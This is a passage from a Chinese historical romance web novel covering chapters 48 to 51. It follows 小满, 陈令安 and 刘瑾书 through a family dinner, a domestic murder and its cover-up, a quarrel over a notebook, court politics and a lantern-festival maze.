我果然魅力大,引得两位风华绝代的女子为我争风吃醋。” “没大没小, 小心我跟你师娘告状!”蒋夫人笑骂道, 又问他炭火够不够用,“我这有上好的砟子炭, 一点烟火气都没有,还特别耐烧,走时装上三百斤, 一冬差不多够了。” 不吃没必要的苦,这是何平秉持的理念,当即顺杆上爬,“干娘再给我一套厚点的被褥吧, 金陵不烧炕,又湿又冷,冻得我睡不着。” 蒋夫人一面命人去准备,一面感慨道,“从外头看南翠书院建得挺好的,食宿却搞得这样差。” 何平笑嘻嘻看向陈令安,“那得问他了。” 小满:“关陈令安什么事,他克扣学院的廪费了?别动不动就攀扯别人。” 何平揶揄道:“女生外向,我算是领教到了。诶诶别打,南翠书院是陈令安的父亲一手创立的,重教学轻食宿,是他父亲定的规矩,你就说这事和他有没有关系吧。” 陈令安表情淡淡的,“建书院需要很多钱,光是买地、盖房子就花了我父亲大半积蓄。他立志把南翠书院办成天下第一书院,还要重金请名师。” “家贫的学生,我父亲免了他们的束脩,又是一笔。吃喝免费,书本笔墨免费,一年两套澜衫,还给没钱赶考的学生发路费,处处用钱,无底洞似的。” “谁家也没有金山银山,怎么能指望吃得好住得好?” 何平“嗐”的拍下自己脑壳,双手抱拳正色道:“令尊道高德厚,真乃赤诚君子,是我冒昧了。” 陈令安嘴角挑出一抹讥笑。 君子?傻子才对! 不过三年,书院就维持不下去了,不得已,降低老师的聘金,书本和食宿也开始收费。父亲本想同舟共济,没想到引起老师学生诸多抱怨。 父亲蒙冤,竟没有一个学生站出来替他说话! 小恩养贵人,大恩养仇人,世态炎凉,人心险恶,不过如此。 后来陈绍接管书院,这也收钱,那也收钱,再没有免费一说。还设立入学门槛,成绩不够银子来补,千两起步,上不封顶。 除非是异常优秀,或者家中背影雄厚的人,才有可能网开一面。 父亲最恨这种败坏学术风气的行为,可书院在陈绍手里,不仅没没落,反而节节攀升,各地学子闻名而来,真有了“天下第一书院”的势头。 更可笑的是,那些学生对陈绍感恩戴德,视若再生父母,成了最坚定追随陈绍的那批人。 他才不要做像父亲那样的傻子。 陈令安举起酒杯一饮而尽。 蒋夫人眼中露出疼惜的神色,擓了勺葱烧豆腐放入他碗中,“豆腐多福,吃了招福纳祥,福气多多。” 陈令安看着碗发愣。 “他不爱吃豆腐。”小满一把抢过他的碗,又把那盘豆腐摆在自己面前,“这福气归我了,谁抢我跟谁急。” 蒋夫人:“你吃得了一盘子?眼大肚子小,可别撑着。” “吃不完我明天接着吃。” 蒋夫人摇摇头,又问陈令安:“你一次也不去林园,不想你妹妹?我上回去,你妹妹还问起你呢。” 陈令安:“还好。” 这话什么意思?蒋夫人不明白。 何平直摆手:“快别去了,自从老师回京的消息流传开,每天排队见他的人能排出去二里地!老师说不见也挡不住这些人,搞得我想蹭顿饭都要天黑了去,跟做贼似的。” 蒋夫人笑笑,不再提这个话题。 夜色渐浓,何平心满意足摸着圆滚滚的肚皮,与蒋夫人和小满道别了。 因吃得太饱,他和陈令安顺着巷子溜达,有一搭没一搭扯着闲话。 基本上是他在说,陈令安在听。 眼见前面路口就要分开了,何平叹口气,忽道:“老师既然介绍你去潜邸,就知道你会走什么路。” 陈令安脚步一顿,怔在原地。 何平登上马车走了。 四周静悄悄的,圆的月亮从莲花云后露出半边脸,巷子口的地上露出半条人影子。 陈令安不动声色靠近,猛地喝道:“滚出来!” 那人吓得直接地上蹦起来,咚地摔在地上,哭着求饶:“别杀我别杀我。” 是张安懿。 想起她姨娘做的好事,陈令安冷哼一声:“你来找蒋夫人?” 张安懿战战兢兢点点头。 陈令安心里更腻味了,现在张家穷得叮当响,那几个大人都不是善茬,她肯定是受不住了,跑来求蒋夫人收留。 她姨娘歹毒阴险,她又太自私,瞧着胆小怯懦,其实心肠冷硬,虽没作恶,却不值得同情。 “不准出现在她们面前。”陈令安冷冷盯着她,“下一次,你就没这么好的运气了。” 说完,他挪开脚。 地上青砖碎裂。 张安懿尖叫一声,连滚带爬地跑了,好像后面有鬼在追她。 一直跑到两只脚绵软无力,喘得上气不接下气才停下来,她蜷缩在墙角,抱着膝盖呜呜直哭。 今天她拿着铜钥匙去当铺,本以为会拿到一大笔银子一大片田庄,结果当铺的人告诉她,东西早被官府抄走了。 她不信,姨娘说东西在她的名下,不会被查到。 当铺的人让她找锦衣卫说去,“他们怎么可能查不到,没拿你,你就偷着乐吧。” 她不知道怎么办了,只好当了三姐姐给她的青金石。当铺说不值钱,死当二十两,活当十两。 三姐姐明明说值一百两的,到底谁在骗她? 她大吃一顿,花了十两,剩下的银子贴身放好,提着包好的剩菜去了衙门大牢。 不停哭不停磕头,嗓子哑了,头也破了,狱卒才放她进去见姨娘。 不知生病,还是受刑打的,姨娘就像细细的一根烛,说话声音大点,都能把这根烛吹灭了。 姨娘枯瘦如柴的手紧紧拉着她的胳膊,艰难地吐出个“刘”字。 都什么时候了,还让她去找刘瑾书,四姐姐那么漂亮人家都没看上,凭什么会收留她? 姨娘闭上眼,重重吸了口气,仿佛聚集起最后的精力:“佛龛下面压着小册子,拿着……去找刘瑾书。” 说完就昏死过去,任凭她怎么哭喊都没醒来。 她带去的菜姨娘也没吃上一口。 出了大牢,她没有勇气去找刘瑾书,思忖再三,还是走到太太家门口。 太太心善耳根子软,又天生对小孩心怀怜悯,说不定会留下她。 只要避开三姐姐就好。 却遇上了陈令安! 最后一丝希望落空,张安懿绝望极了。 铛!铛!铛! 锣声传来,一更三点了,宵禁马上开始,张安懿赶紧往家跑。 她从偏门进去,路上一个人没有——姚姨娘只给大哥留了两个丫鬟一个书僮,其他下人卖的卖,赎身的赎身,热闹的张家,已变成荒墓了。 边老太太还没睡,哼哼着要水喝,张安懿先回屋把剩菜藏好,才急匆匆过来。 一提壶,空的。 柴火都锁在姚姨娘院子里,她不敢去要,干脆舀了瓢凉水,对付着喂给老太太。 老太太喝了水,又要饭吃。哪有饭?就半个野菜饼子,她吃还行,老太太的牙口可咬不动。 老太太破口大骂,张安懿木然听着,看着老太太一张一合的嘴巴发呆。 或许因为今天吃饱了肚子,脑子不再昏沉沉的。 凭什么骂她?凭什么姨娘去坐牢?都是你指示姨娘做的,应该是你在大牢里受苦。 你说养恩?不对,你把我带在身边,是为了抢属于我的好东西。 太太很公平,四姐姐有的,我也有,绫罗绸缎,金银首饰,全都到你手里了。 如果我也留在府里,在太太身边长大,或许会是太太最疼爱的孩子,何至于落到今天的地步? 都是你害的! 等张安懿回过神来时,老太太已经不动了。 她看着老太太头上的大坑,再看看自己手里,鲜血淋淋的铜佛像。 头皮一炸,佛像咣当落地。 她喘吁吁跑到姚姨娘院门前,哭喊救命,“老太太不行了,姨娘快救人啊。” 姚姨娘本不想管,可她的哭声太凄厉,又怕扰了四邻,只得披衣起来。 看到张安懿手上、衣服上的血,姚姨娘惊愕得几乎说不出话,“你干什么了?” 张安懿抽抽搭搭说了经过。 “死了吗?” “好像是……死了。” 姚姨娘脑子轰的一响,照脸就是一下,恨不得把张安懿掐死,“你故意的,成心毁了我儿!” 弑亲大罪,罪犯凌迟处死,同居亲属连坐。 儿子轻则革去功名,重则会被流放! 小蹄子死还要拉着他们一起死。姚姨娘恨极,拔下簪子没头没脑一通乱扎。 张安懿捂着脸尖叫,却没跑。 “别叫了!”到底有所顾虑,姚姨娘住了手,和她一起去了老太太的院子。 强忍着恐惧,姚姨娘和张安懿合力搬起老太太,一步步挪着,连同染血的佛像,一起扔到后院的井里。 刷洗地面,焚烧铺盖,终于赶在天亮前清理好院子。 姚姨娘留下一句“好自为之”就走了,张安懿累瘫了,累得连恐惧都感觉不到,回屋倒头就睡,醒来已是转天早上。 家里多了一堵墙,把她的屋子单独隔出来了。 杀人的后怕慢慢袭上来,背后凉飕飕的,她总觉得祖母站在她后面,睁着浑浊的眼睛死死盯着她。 她不敢回头,哆哆嗦嗦找到姨娘说的那本册子。 密密麻麻的蝇头小字,记的都是三姐姐的衣食住行。 从三姐姐到张家的第一天就开始记录了,一直记到姨娘被抓走的那天。 是一份日程记录,每天去了哪里,见了谁,做了什么,穿的衣服,吃的东西……刚开始时很详细,后面慢慢变得简略了,尤其是最后十几页,只有个日期,几乎是空白的。 刘瑾书会对这个感兴趣? 她不信,可没别的路可走,便揣着小册子守在刘瑾书出门的必经之路上。 说来也巧,没等多久就看到刘瑾书的身影。 张安懿冲到他面前跪下,举着册子说这是三姐姐的东西,愿意给他,求他赏口饭吃,为奴为婢都愿意。 刘瑾书记得她,“你是张举人的妹妹,哪有给人当奴婢的道理?你再愿意,我也不会要。” 张安懿急得大哭,“你不要我,我只有去死了。” 这叫什么话!刘瑾书一时火起,搞得他跟个玩弄女子的负心汉似的。 此时张安懿的肚子响亮地叫了声。 刘瑾书恍然大悟,伸手一摸袖筒,今日出门急,没带钱。 便解下腰带上的和田玉珠串坠子,递给她说:“值个二百两,拿去卖了,好生度日,不要妄自菲薄。” 说着,拿过她手中的小册子,也不理会她如何磕头道谢,步履匆匆走远了。 刘瑾书没想要那本小册子,拿走只是向张安懿表明,钱货两讫,互不相欠,别把他当恩人。 即是小满的东西,就应该找个机会还给她。 可他心里像长了草,总想翻开看看里面是什么,即便明白翻看他人之物是卑劣行径,实非君子所为,也按捺不住那股子冲动。 坐在翰林院,神不守舍一上午,从不出错的他竟然接连抄错几处古籍。 闷坐片刻,刘瑾书索性扔下笔,到外面透透气。 冬天了,道旁的草木在寒风中瑟瑟发抖,发出肃杀的微啸声,已有了衰败的迹象。 莫名叫他一阵心悸。 前面传来男人的说笑声,抬头一看,是陈令安和几个文官。 刘瑾书几乎以为自己看花了眼,居然有文官愿意和陈令安结交! 莫非京中传闻是真的:林亭先生和陈令安有旧,就是他把陈令安举荐给当今。 这几个人想通过陈令安搭上林亭先生? 忽想起母亲的哭诉,他更是一阵闹心,又忍不住苦笑,谁能想到小满竟有那么大的造化! 对面的人越走越近,刘瑾书也径直往前走,不避不让。 他忘了袖筒里的东西。 肩膀被陈令安撞得猛然一歪,啪嚓,那本小册子掉在地上。 陈令安瞳仁霍地放大:张小满? 第49章 陈令安愣了一瞬, 就是这瞬息之差,他慢了一步,小册子被刘瑾书抢先拿到。 他伸手抓住小册子另一端。 对方也毫不示弱, 手上用力,直直地瞪过来。 两人僵在那里。 旁边几位文官面面相觑,有陪着笑脸想要上前说和几句的, 被同伴一拽, 发热的脑袋立刻清醒了,悄没声儿的顺墙根儿开溜。 “松手!”刘瑾书喝道,“这是我的东西。” “你松手!”陈令安冷笑,“这不是你的!” “我身上掉下来的东西,不是我的还是你的?” “谁知道是不是你偷来的, 好个正人君子, 行的却是见不得人的勾当!” 刘瑾书大怒, 旋即又笑, “要审我?好啊,叫你明白——这是她给我的。” 陈令安压根不信, “胡扯, 少往自己脸上贴金了,她才不会给你。” 略远处, 那几个文官悄咪咪嘀咕。 “我怎么听不懂他们吵什么?跟三岁孩子斗嘴似的,我孙子都不这样。” “为那个小册子吧,写的什么, 神神秘秘的。” “肯定是机密要闻,你看陈大人脸都变了,绝对关系重大,说不定刘大人已捉住陈大人的把柄了。” “英雄所见略同, 他们口中的那个‘他’,必是刘家安插在诏狱的暗线。唉,陈大人怎肯善罢甘休,短暂的宁静终会过去,一场风暴即将来临,他二人谁会走到最后?况且——” “且住嘴吧,我的老大人,不想卷进去就快走。” 转眼间,甬道上只剩二人了。 那册子像长在陈令安手上似的,刘瑾书拽不动一分。 心里的火一下子烧到脸上,他竟口不择言了,“就是她给我的,你别忘了,我们有过婚约,给我写点东西有什么稀奇的!” 字太小,除了一眼注意到的“张小满”三字,陈令安并没看清册子内容。 刘瑾书的话,他无从辨别。 也不是没可能,有阵子他们的关系的确很好,一起上街游玩,俩人有说有笑的,还面对面地吃东西。 路边摊的桌子低矮狭小,一抬头,就能看到对方的眼睛,略活泛下胳膊,都能碰到对方。 怨谁呢? 第一怨他自己,其次就是趁人之危的刘瑾书。 陈令安哼了声,“你也明白是‘有过’,你们早就没关系了,还私自扣着她的东西不还,要不要脸?” 刘瑾书默然片刻,正色道:“不要了。” 陈令安愕然,好个浪荡公子哥,果真对小满余情未了,也不看看自己配不配。 揣着小满的东西,私底下定是反复吟咏,几度嗟叹,万般不舍。这种人最是可恨,一旦有可乘之机,必会不择手段达成目的。 今儿绝对要断了这狗玩意儿的念头! 不给,那就抢! 他准备动粗了。 却听一声:“诶,你们蹲那儿干什么?” 甬道那头,一位身着赤色衮龙袍,头戴翼善冠的男子诧异看着他们,圆圆的脸,胖胖的身材,浑身透着和气劲,正是皇长子成王。 两人都紧捏着小册子没动。 送成王出来的吕总管,冲陈令安使了个眼色。 陈令安的手微微抖几下,松开了,他起身,“下官拜见成王殿下。” 刘瑾书也起来了,躬身行礼后,微微笑着解释说:“我和陈大人玩猜子儿,他输了,恼得不行,正和我掰扯呢。” 成王笑道:“都说你二人水火不容,我从来不信,瞧瞧,今儿不就验证我的话了?你们都是认真做事的人,难免有意见相左,发生冲突的时候,说开了就好。” 陈刘二人低声称是。 成王满意点头,挺胸凸肚,稳稳当当迈着四方步,忽回头问刘瑾书得不得空,“有个棋谱想不明白,你擅棋,给我解解看……” 他们走远了,吕良看着兀自怔楞的陈令安,好心提点:“成王殿下的意思,你听懂了没有?” 陈令安“嗯”了声。 “明白就好。”吕良没多言语,拂尘一挥,转身走人。 天低云暗,微啸的风吹过甬道,虽不甚大,却很细,吹在脸上就像针尖轻轻地刺。 陈令安对着空气咬牙。 小册子上到底写的什么!- 陈令安来找小满,也不说有事,也不说没事,只在一旁闷不作声坐着。 庄子上的出息前儿个送到了,蒋夫人带着小满方妈妈忙着看账本,核对清单,还要挑选东西留作年礼,一天到晚忙得昏天暗地,吃饭都是草草对付。 小满只想赶在年底前封账,好痛痛快快地玩,因而放在陈令安身上的心思少得可怜,压根没注意到这位的情绪。 锦绣挑帘进来给他们换热茶,寒风顺着帘子缝袭进屋子,小满一激灵抬起头,看到对面脸色有点发青的陈令安,呆了呆。 “你还没走?” 陈令安看着她端起的茶杯,嘴角肉眼可见地耷拉下来,“我走。” “等等,你今天来到底有什么事?” 没事就不能来看看你吗? 话没出口,陈令安就是一怔,这话,似乎是小满对他说过的。 呼吸不由自主加快了,放轻了,心脏也不听话地乱跳。 一瞬间他慌了神。 门帘飞起,旋即落下,好歹遮挡了几分离去的慌张。 真走了?小满疑惑地眨眨眼,问锦绣:“他今天到底干什么来了?” 锦绣笑着摇摇头,指指小满端起的茶杯。 “呀!”小满明白过来,顿时好气又好笑,“这个人,怎么变得这样敏感!” 嘴上嫌弃,心里却着实惦念,便打算得空找他说说话。 结果这忙起来没个头,进了腊月门才得空。 小满扑了个空,蒋夫人说腊月是衙门最忙的时候,“上报来年的预算,复核刑狱要案,还有考核评定,准备大朝会,老百姓有老百姓的忙,当官的有当官的忙,你还是别打扰他了,等等再去。” 一耽误又是几天,等惊觉竟有月余没见到他时,已是年底了。 小满不免有点生气,还有点酸溜溜的委屈,我不去找你,你就不来找我?什么时候才能主动点! 说归说,做归做,她还是去找陈令安了。 天阴上来,变得晦暗不明,空气中也满是潮乎乎的味道。 小满看看天,“要下雪了吧。” 车夫放下脚凳,“不见得,一冬都是这样的天气,夏天雨水很多,入冬以来却连个雪沫子都不见。听说北边的雪大,都能没过腿肚子,也不知真假。” 小满扶着他的胳膊上了马车,“是真的,宣府就那样,走路要把腿从雪地里拔出来,可费劲了。” 车夫啧啧称奇:“想来有趣,哪天见识见识就好了。” 小满笑笑不说话,放下了车帘。 冬天,对富人来说才有趣,围炉煮茶,赏雪咏梅,还可以睡暖烘烘的被窝,吃热腾腾的火锅。对穷人来说,就是最要命的日子。 年景再好,也有人熬不过寒冷且漫长的冬天。 她看看自己的手,今年没起冻疮,往年长冻疮的地方还有点微微发痒,这一年多的保养,曾经红肿粗糙的手也有几分像富贵人的手了。 隔窗看着冬天也依旧热闹喧嚣的金陵城,她轻轻叹息一声,宣府的乡亲们,这个冬天过得如何呢。 心里总有种说不出来的怅然,或许,她还是没把这里当家乡吧…… 大门没锁,一推就开了。 这也太大意了,如果有不怀好意的人进来怎么办? 陈砚宁搬去林园后,陈令安就把她留下的人送了回来,如今偌大的陈宅,又空无一人了。 小满边走边嘀咕,不行,怎么着也得说服他找几个人看家——好容易收拾出来的宅院,可不能再次荒废! 陈令安依旧住在外院的书房。 门半开着,隔着厚厚的帘子小满喊道:“陈令安,你在不在?” 听不见回应。 “我进去啦。”小满迈过门槛,一眼就看到陈令安躺在软塌上,裹着一床被子,呼吸声很重,脸上是不正常的红晕。 小满大吃一惊,一摸他的额头,好热! “你等着,我去找郎中。” “不用。”陈令安嘶哑着声音说,“吃过药了,睡一觉就好。” 桌上有温着的水,小满慢慢喂他喝了一杯。 他迷迷糊糊又睡着了。 还好今天自己提了吃食过来,小满微微吁口气,把菜都放在灶上隔水温着,又擀了细细的面条,只等他醒来下面。 “小满?是你吗?”他睁开眼。 “是我。” “你怎么来了?” 小满气笑了,合着自己里里外外忙活一通,他以为是海螺姑娘呐! “你给他写了什么?”他又问。 没头没脑一句话,小满没听懂,“谁,我给谁写?” “就是他啊。” “谁呀?” “算了,不说了。”陈令安翻了个身。 小满坐到软塌边上扒拉他,“说话说半截最让人讨厌了,这时候你还让我猜你的意思!哦,我知道了,你还是不放心我,对我有戒心。” 她气鼓鼓站起来,“既如此,告辞了。” 说罢扭头要走。 陈令安急了,攥住她的手往回拽。 小满只想吓吓他,也不是诚心要走,被他一拽,立时失去平衡,咚一声倒在塌上。 他的身体烫得惊人,明明病着,力气却不见丝毫减弱,胳膊锢得她生疼。 小满挣不脱,又羞又恼又莫名一阵兴奋,“放开我,我可不想被你传染上风寒。” “不放。”不知是不是烧迷糊了,现在的他和平时迥然不同。 “你好烦!” “我就是烦啊。”陈令安的声音居然带了点委屈,“我都快因为这个烦死了,你听,你听!” 扑通,扑通…… 是他的心跳声,跳得很急,很快。 小满贴在他的胸膛上,脸在发烧。 他梦呓似地喃喃:“怎么办,你一向聪明,告诉我该怎么办。” 一想到你,心就跳个不停,眼也发昏,头也发晕,浑身轻飘飘的,还总忍不住想笑。 我想我得了很重的病,一辈子都治不好的那种。 第50章 一连数日阴天, 今日太阳终于出来了,看着日头很好,却没多少热气, 空气依旧潮湿阴冷。 签押房门窗紧闭,两盆炭火熊熊燃烧,吴勇进来一会儿就热得浑身发燥。 陈令安瞥他一眼, “我不在这几天, 辛苦你了。” “不辛苦,都是属下应该做的。” “没发生什么紧急事?” “各个衙门都在准备开春的考察评定,都老实着呢!” 陈令安沉默半晌,慢慢道:“既然都闲着……我是病了,不是死了。” 啥意思, 怎么突然生气了?吴勇愣愣看着上司。 陈令安没继续这个话题, 问他陈刘二家最近的动向。 吴勇拿出张纸开始念。 一炷香的功夫后, 他擦擦额头上的汗, 静待上峰指示。 “刘方隐隐有成清流领袖之势。”陈令安不疾不徐轻轻敲的着桌子,提起那日成王邀刘瑾书下棋的事, “成王和刘瑾书并无深交, 突然有意交好,你怎么看?” 吴勇使劲琢磨, “成王是嫡长子,储君的位子早晚是他的,没理由攀交刘家, 也容易引来猜忌,莫非……” 他眼睛一亮,“是皇上的意思?皇上有意提拔刘方!” 陈令安点点头,面色却很凝重。 吴勇不明白上司为何是这种反应, “刘方得势,必与陈绍分庭抗礼,大大削弱陈绍在朝堂上的影响力,这对咱们是好事,大人怎么忧心忡忡的?” “好事?于陈绍是好事,于我却是坏事。” 陈令安笑了声,“文官集团权力分散,没能力和皇权博弈,陈绍、刘方、吕良,三人势力相当,互相牵制,朝堂稳固,这是皇上最乐于见到的局面。” 所以成王暗示他和刘瑾书讲和,刘家势力起来后,上面自然也会命他不要揪着陈绍不放。 吴勇两只大牛眼眨巴眨巴,头上的热汗变成了冷汗,“那咱们岂不是没用了?” 陈令安却问他春闱的主考官是谁? 吴勇:“据宫里流出来的消息,先前定的是陈绍,但林亭先生回京后,皇上似有意让林亭先生担任主考。” 陈令安失笑:“谁给你递的消息,这条暗线可以放弃了。林亭先生不可能担任主考。” 吴勇嘿嘿两声,知趣地没问为什么。 窗外传来闷雷般的炮仗声,年底了,孩子们欢蹦乱跳地出来放炮,到处噼里啪啦的响,吵得不得了,连北镇抚司都不能避免。 吴勇自告奋勇去赶人。 “不用。”陈令安瞅一眼烧得旺旺的炭盆,幽幽道,“就先让他们过个好年吧,你回来,还有别的事吩咐你。” “是。”吴勇欲哭无泪- 在噼里啪啦的鞭炮声中,弘德三年到来了。 守岁,祭祖,走亲戚,吃吃喝喝,上街游玩,再吃吃喝喝,一晃十来天过去,待今天元宵节过去,就要过完年了。 小满想去看花灯,“秦淮河沿岸全是,听说特别漂亮,咱们一起去。” 蒋夫人直摇头,“人太多,挤得慌,我和方妈妈是不去的,你们几个去吧。也带上君懿,唉,这孩子,叫她过年吃饭也不来,初一一大早隔着院门给我磕头,连压岁钱都没拿。” 小满道:“她现在就喜欢一个人安安静静待着,我叫她她也不见得去。再说了,有陈令安在呢,她去了也不自在。” 蒋夫人想想也是,便不再提了。 天刚擦黑,陈令安就来接小满了,陈砚宁也在,挑开车帘冲她甜甜地笑。 走到半路,又碰上何平,不消说,一同前往。 到秦淮河时,天已经黑透了。 河房上的灯亮起来了,沿岸树上的灯亮起来了,石桥、游船都亮起来了。璀璨的灯光从脚下延伸出去,穿透黑夜的帷幔,弯弯曲曲,连绵数十里,一直到达远处的山顶,和天上的星河汇成一片。 小满几乎看迷了眼。 前头有猜灯谜的摊子,十五文一次,猜中了可以得盏花灯,陈令安见两个女孩子频频张望,便提议让她们试试。 小满一口答应下来,拉着陈砚宁走到摊子前,“你喜欢哪个,我赢给你。” 陈砚宁半藏在她身后,指了指荷花灯。 摊主取下荷花灯的灯谜:一边绿,一边红,一边喜雨,一边喜风,打一个字。 小满凝神想了想,摇摇头道:“猜不出,你知道吗?” 陈砚宁点点头,小满一喜,又放下十五文钱,期待地看着她。 “是‘秋’字。”陈砚宁蚊子哼哼似地说,得亏小满离得近,不然准听不清。 “秋字!”小满大声笑道,“老板,对不对?” 摊主道声“姑娘好聪明”,把荷花灯递给陈砚宁。 陈砚宁害羞又兴奋,抿嘴笑着接过花灯。 小满不服气,嚷嚷着再来,陈令安干脆放下一锭银子,让她玩个够。 珍珠白姑娘,许配笔叶郎,穿衣去洗澡,脱衣上牙床。打一物。 小满冥思苦想半天,求助地望向陈砚宁。 “是粽子。”她轻轻说。 小满一拍脑门,“哎呀,我怎么没想到,再来再来。” 摊主乐呵呵拿来一个:二姑娘,打一字。 小满连猜几个,都不对,只得又看向旁边的姑娘。 “姿,姿态的姿。”这回陈砚宁声音大了些。 “二姑娘……次女,就是姿!嘿,有意思,那三姑娘是什么?” 陈砚宁一指小满,大笑道:“汝!” 小满拍手叫好,陈砚宁也在笑,眼睛弯弯的,这时候的她看起来,的的确确是个十四岁的小姑娘了。 离开时,她们只拿了两盏灯,陈砚宁选了荷花的,小满选了走马灯。 陈令安错后几步,对小满说了声“谢谢”。 小满一副莫名其妙的表情,“谢我什么?” 灯光揉碎在陈令安的眼睛里,让他的眼神格外朦胧温柔,小满居然有点不敢直视他的眼睛了! “能想出‘三姑娘’的灯谜逗砚宁大笑的人,岂会猜不中那几个浅显的灯谜?” “浅显?很难的好吧,你夸我还是骂我呢?”小满冲他哼一声,蹬蹬跑开找陈砚宁玩去了。 陈令安低头一笑,跟在她们身后。 那些灯笼都是用纸和竹篾做的普通的灯笼,卖也就是十来文一盏,摊主不过是为卖灯笼,弄个猜灯谜的噱头罢了,怎会用难猜的灯谜。 不一会儿,小满吃着糖葫芦跑来,手里还举着一根,模糊不清叫陈砚宁吃。 陈砚宁一开始还不好意思边走边吃,但小满何平一左一右都嘎巴嘎巴嚼得起劲,她也就没那么不好意思了。 吃完糖葫芦,三人又捧着烤红薯开始啃。 然后站在路边吸溜吸溜喝豆腐脑…… 后面的陈令安突然有一种乖巧小妹被带坏了的感觉。 “看!”小满指着对岸,“好大一片的花灯,跟摆阵似的。” 陈令安眯起眼睛看了会儿,“的确是花灯阵,去看看。” 花灯阵就是用花灯、假山石、树木花草等摆成的迷宫,每年都有,小孩子和年轻人都喜欢进去转转,很简单,从没听说有人困在里面的。 可今年的阵法有点奇怪,看起来并不复杂,走着走着就昏头转向原地打转,只得熄带着号码的灯笼,等专人拿着指示图上前营救。 除了陈砚宁,其他三个都是不信邪的人,见入口有维持秩序的衙役,便叮嘱她在衙役旁边等着,然后提着灯笼就往里闯。 周围人来人往,满是陌生的面孔,陈砚宁不敢一个人等着,叫了声“等等我”,也进去了。 两刻钟后,小满和何平被领出来了,接着,衙役战战兢兢,领着脸色铁青的陈令安出现在入口。 竟也失败了! 何平叹道:“邪门,一开始我还能算出路,结果越走越不对,到处都是花灯,灯越多,人越晕,哪里都是死路。” 陈令安问衙役,“今年的花灯阵是谁摆下的?” “回大人的话,只听说是进京赶考的年轻举子,我们大人或许知道,小的这就去问问。” “不知道就算了,我只是好奇问一句,被锦衣卫找上门,可能会影响到他的心情。” 小满左右看看,“砚宁呢?” 衙役:“姑娘是说和你们一起来的小姑娘?她也进了花灯阵。” 这样啊,那等等就有人领她出来了。 又过去一刻钟,还是不见陈砚宁出来,让衙役进去找,衙役为难:“大人知道的,我们只有拿到指示图,才敢进去救人,不然也会被困在里面。” 又劝他再等等,“既然没有令妹的指示图送来,说明令妹没熄灯求救。” 小满忽道:“她会不会走出来了?” 何平哈的笑了声,“不可能,我和小安安都没成功。” “看看再说。”说话间,小满已经跑向出口。 在一片令人头晕目眩的灯火中,陈砚宁慢慢出现在他们面前,她手里的灯笼小小的,散发着晕黄的微光,被周边灯光的映衬得几乎看不到。 “哥,你们早都出来啦?”她显得很难为情,“我又拖你后腿了。” 陈令安深吸口气,声音微微发抖,“不,没有……你怎么出来的?” “就走出来的,里面灯太多太刺眼了,我低着头,只看脚下那片光,走着走着发现里面的路和棋盘很像,老师教我下棋时候说……”陈砚宁疑惑地看着对面惊讶异常的三人,“你们怎么了?” 何平呲牙:“就这么简单?我不信,我要再走一遍。” 这次还不到一刻钟,他手里的灯就灭了,出来后扶墙哇哇吐,“不行,还是不行,我按你的方法走,晕得更快,比我坐船还难受。” 小满抱着陈砚宁欢呼:“看吧看吧,我就说你天生聪慧!我别的不行,看人是一看一个准,看你哥准,看你更准!” “我哪有那么好。”陈砚宁说,嘴角却不受控制地往上笑。 灯光璀璨,她的笑容便清清楚楚落在画舫上的人眼中。 “她解开了,她居然解开了!”李麟双手紧紧扒着窗棂,激动得头发丝都在颤动,“她是谁,来人,来人!” 要不是书僮拽着,准一头扎河里去。 一旁的刘瑾书道:“阵法很难吗?竟让你这个‘学神’失态到章法大乱。” 李麟:“阵法不难,落到棋盘上多费点功夫也能想出走法,只是花灯太多,也太精巧,看着看着就会让人忘了来时路。只有心思至纯,没有任何杂念,不,没有任何贪欲的人,才不会受迷惑。” 刘瑾书若有所思看着他说:“你一定很想结识这位姑娘。” “当然!刘兄认识她?” “说不上认识,不过我看到她身旁的人,能猜到她的身份。” 李麟目光炯炯,“她是谁?” 刘瑾书轻声笑道:“她是北镇抚司指挥同知陈令安的亲妹妹,现在,你还确定要结识她吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-55 第51章 李麟出身于苏州李家, 曾祖、祖父、父亲都是当地久负盛名的文坛领袖。 李氏族中子弟没有一个白身,秀才平平无奇,举人勉强可以上桌, 同进士都不好意思说出口,唯有二甲赐进士出身,才算修得正果。 对此, 刘瑾书也不乏羡慕, 他刘家虽也不弱,但子嗣不旺,到他这辈,嫡支只有他一个男丁了。 族中助力少,父亲就把视线放到了族外, 李麟的父亲是父亲的师弟, 无疑是最佳的人选。 李麟是李家这一辈最出色的子弟, 十六岁牛刀小试, 就中了解元,比他那时还要风光。 刘瑾书很欣赏他的才华, 今日邀李麟同游, 既有家族利益所在,也有自己的私心。 无论从哪方面考虑, 他都不希望李麟与陈令安牵扯上。 本以为这三个字足以令李麟却步——毕竟文人士子无不憎恶锦衣卫,尤其是陈令安! 果然,李麟明显吃了一惊。 “陈令安的妹妹?不是丢了么, 找到了?” 刘瑾书没料到他的注意还在陈小妹身上。 李麟是外省人,不知道陈小妹的新闻,刘瑾书也不愿背地里乱议论姑娘家的私事,就随便敷衍两句。 哪知他还对人家小姑娘还挺感兴趣的, 左一句右一句的问,刘瑾书几乎招架不住了。 实在忍不住,激他一句:“她伺候过别人,你家不会同意的。” 李麟一怔,紧接着脸涨得通红,“我不是那个意思……” “没那个意思,就少打听人家姑娘的事。”刘瑾书轻声道,“世间对女子更苛刻,你刚才的话如果传出去,人们会夸你风流,却会骂她不检点。她已经够可怜的了,我们就不要雪上加霜了。” 李麟默然半晌,又向外张望,“哪个是陈令安?” 刘瑾书指给他看,“瘦高个儿,一身红衣的那个。”视线落在旁边那个姑娘身上,心头不由一紧。 李麟:“穿得还挺张扬。” 刘瑾书瞧瞧他二人身上的衣裳,一个月白,一个天青。 他们这些世家子弟讲究的是低调奢华,喜欢在细节处做文章,初看平平无奇,却于不经意时给人带来堪称震撼的冲击。 因而笑道:“道不同不相为谋。” 岸边的人已经走远,李麟关上窗子,重重打了个喷嚏,人一下子蔫了。 刘瑾书忙让人煮碗姜汤,“多放姜丝和红糖,热热吃上一碗。”也没了游船看灯的心情,把人赶紧送回去休息。 李麟拥被靠在软塌上,脑袋发热,鼻子发酸。 真可惜呀。 在他印象中,陈小妹还是两三岁的模样,糯米团子似的,奶声奶气叫着“哥哥”,可可爱爱的,和她说话声音都会忍不住变软。 那时候陈令安还是他钦佩的大哥哥,不但功课做得好,还会骑马,还能拉开一石的弓! 他连半石都拉不动,是个只会读书的豆芽菜。 很少称赞人的父亲都夸陈令安文武双全,“必会有一番大作为。” 父亲更敬佩陈伯父:有才能的人很多,有仁心的人也很多,两者兼备又刚直不阿的君子,就没几个了。 陈伯父就是一个。 